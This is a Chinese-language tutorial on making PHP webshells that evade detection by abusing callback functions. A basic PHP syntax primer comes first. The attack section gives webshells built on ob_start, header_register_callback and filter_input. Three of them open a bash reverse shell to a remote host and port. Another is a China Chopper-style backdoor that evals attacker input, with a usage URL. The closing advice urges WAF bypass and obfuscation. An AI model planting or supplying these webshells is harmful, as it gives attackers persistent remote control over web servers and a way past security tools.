PHP_WebShell免杀基础教程(回调函数)
字数 736 2025-08-18 17:33:32
PHP WebShell免杀基础教程:回调函数技术
一、PHP基础语法速通
1. 变量声明与赋值
$variable_name = value; // PHP变量以$开头
2. 数据类型
- 整数(int)
- 浮点数(float)
- 字符串(string)
- 布尔值(boolean)
- 数组(array)
- 对象(object)
- 空值(null)
3. 字符串操作
$string1 = "Hello";
$string2 = "World";
echo $string1 . $string2; // 输出: Hello World
4. 条件语句
if (condition) {
// 条件为真时执行的代码
} elseif (another_condition) {
// 如果第一个条件为假且这个条件为真时执行的代码
} else {
// 如果上述条件都不满足时执行的代码
}
5. 循环语句
for循环
for ($i = 0; $i < 5; $i++) {
echo "Number: $i <br>";
}
while循环
$count = 0;
while ($count < 3) {
echo "Count: $count <br>";
$count++;
}
foreach循环
$fruits = array("Apple", "Banana", "Orange");
foreach ($fruits as $fruit) {
echo "$fruit <br>";
}
// 关联数组遍历
$person = array("name" => "John", "age" => 30, "city" => "New York");
foreach ($person as $key => $value) {
echo "$key: $value <br>";
}
6. 函数定义与调用
function functionName($param1, $param2) {
// 函数体
return $result;
}
// 调用函数
$result = functionName($arg1, $arg2);
7. 数组操作
$array = array("apple", "banana", "orange");
echo $array[0]; // 输出: apple
// 关联数组
$assoc_array = array("name" => "John", "age" => 30);
echo $assoc_array["name"]; // 输出: John
8. 超级全局变量
$_GET- 获取GET参数$_POST- 获取POST参数$_SESSION- 会话变量$_COOKIE- Cookie变量$_SERVER- 服务器和执行环境信息
9. 包含文件
include 'filename.php';
require 'filename.php'; // 如果文件不存在会引发致命错误
10. 错误处理
try {
// 可能引发异常的代码
} catch (Exception $e) {
// 异常处理代码
}
二、回调函数免杀技术
1. ob_start回调
函数功能:输出缓冲是PHP中的一种机制,允许在将输出发送到浏览器之前捕获由PHP脚本生成的输出。
示例:
<?php
function a($b){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
ob_start("a");
?>
2. header_register_callback回调
函数功能:当PHP发送HTTP标头时,该回调函数将会被调用。
示例:
<?php
function a($b){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
header_register_callback("a");
?>
3. filter_input回调
函数功能:获取输入变量并过滤它的值的函数。
反弹Shell示例:
<?php
function a($value){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));
?>
中国菜刀连接示例:
<?php
function a($c){
$c($_GET['d']);
}
filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));
?>
使用方式:
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
密码为c
三、注意事项
- 回调函数技术已被WAF重点关注,实际应用中需要结合其他免杀技术
- 示例中的反弹Shell命令需要根据实际情况修改IP和端口
- 中国菜刀连接方式在现代环境中可能已被安全设备识别
- 建议在实际使用前进行充分的测试和变形
四、扩展思路
- 可以收集更多PHP回调函数进行测试
- 结合编码、混淆等技术提高免杀效果
- 研究WAF对回调函数的检测规则,针对性绕过
- 考虑使用不常见的回调函数组合